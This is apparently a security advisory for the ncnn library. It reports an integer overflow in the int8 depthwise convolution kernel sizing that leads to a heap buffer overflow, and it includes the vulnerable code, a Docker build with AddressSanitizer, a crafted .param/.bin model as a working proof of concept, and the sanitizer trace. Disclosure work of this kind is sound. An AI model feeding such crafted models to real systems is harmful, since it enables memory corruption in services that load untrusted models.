Integer Overflow Causes Heap Overflow in Int8 Convolution
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolutiondepthwise_x86.cpp:942 in ConvolutionDepthWise_x86::forward_int8_x86
Sanitizer verdict: heap-buffer-overflow
Summary
A crafted ncnn model can set kernel_w and kernel_h on an int8 ConvolutionDepthWise layer so that their product overflows a signed 32-bit int. The x86 int8 path sizes its kernel-offset vector with the wrapped product but fills it with the original nested loop bounds, writing past the vector's heap storage. The PoC drives this through ncnnoptimize, which loads the attacker's .param/.bin pair and executes the layer during ModelWriter::shape_inference().
Detail
The untrusted fields are kernel_w (parameter id 1) and kernel_h (parameter id 11) of the ConvolutionDepthWise layer, together with the input dimensions and dilation. ConvolutionDepthWise_x86::forward_int8_x86() computes maxk as a plain int multiplication and uses it as the element count of _space_ofs, while the loop that populates the vector iterates kernel_h * kernel_w times using the unwrapped values:
// src/layer/x86/convolutiondepthwise_x86.cpp:929
const int maxk = kernel_w * kernel_h;
// kernel offsets
std::vector<int> _space_ofs(maxk);
int* space_ofs = &_space_ofs[0];
{
int p1 = 0;
int p2 = 0;
int gap = w * dilation_h - kernel_w * dilation_w;
for (int i = 0; i < kernel_h; i++)
{
for (int j = 0; j < kernel_w; j++)
{
space_ofs[p1] = p2;
p1++;
p2 += dilation_w;
}
p2 += gap;
}
}
The PoC uses kernel_w = 65536 and kernel_h = 65537. Their product is 2^32 + 65536, which wraps in int to 65536, so _space_ofs is constructed with 65536 elements — the 262144-byte heap region ASan reports.
The nested loops are driven by the original kernel_h and kernel_w, so p1 counts up through 65537 * 65536 positions. The store space_ofs[p1] = p2; at line 942 leaves the vector as soon as p1 reaches 65536, which is the write ASan flags exactly at the end of the region. std::vector::operator[] performs no bounds check, so without a sanitizer the loop keeps scribbling p2 values across the heap for the remaining iterations.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-overflow-causes-heap-overflow-in-int8-convolution && cd ncnn-poc-integer-overflow-causes-heap-overflow-in-int8-convolution
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC'
7767517
2 2
Input data 0 1 data 0=65536 1=1 2=8
ConvolutionDepthWise conv 1 1 data out 0=8 1=65536 11=65537 12=65536 6=524288 7=8 8=1
POC
printf '\070\113\015\000' > poc.bin
head -c 524288 /dev/zero >> poc.bin
printf '\000\000\200\077%.0s' $(seq 9) >> poc.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x718478952800 at pc 0x650a2d6a9870 bp 0x7ffdee6c1c80 sp 0x7ffdee6c1c70
WRITE of size 4 at 0x718478952800 thread T0
#0 0x650a2d6a986f in ncnn::ConvolutionDepthWise_x86_avx512::forward_int8_x86(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:942
#1 0x650a2d68b666 in ncnn::ConvolutionDepthWise_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:260
#2 0x650a2863df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x650a2862fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x650a2868f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x650a285213c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x650a2859eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x718478fb81c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x718478fb828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x650a2851e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x718478952800 is located 0 bytes after 262144-byte region [0x718478912800,0x718478952800)
allocated by thread T0 here:
#0 0x718479633548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x650a285b0161 in std::__new_allocator<int>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x650a285acb22 in std::allocator_traits<std::allocator<int> >::allocate(std::allocator<int>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x650a285acb22 in std::_Vector_base<int, std::allocator<int> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x650a2886a424 in std::_Vector_base<int, std::allocator<int> >::_M_create_storage(unsigned long) /usr/include/c++/13/bits/stl_vector.h:398
#5 0x650a2886a300 in std::_Vector_base<int, std::allocator<int> >::_Vector_base(unsigned long, std::allocator<int> const&) /usr/include/c++/13/bits/stl_vector.h:335
#6 0x650a2886a0f4 in std::vector<int, std::allocator<int> >::vector(unsigned long, std::allocator<int> const&) /usr/include/c++/13/bits/stl_vector.h:557
#7 0x650a2d6a96b5 in ncnn::ConvolutionDepthWise_x86_avx512::forward_int8_x86(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:932
#8 0x650a2d68b666 in ncnn::ConvolutionDepthWise_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:260
#9 0x650a2863df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#10 0x650a2862fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#11 0x650a2868f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#12 0x650a285213c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#13 0x650a2859eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#14 0x718478fb81c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#15 0x718478fb828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#16 0x650a2851e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:942 in ncnn::ConvolutionDepthWise_x86_avx512::forward_int8_x86(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
Credit
Zheng Yu @ DepthFirst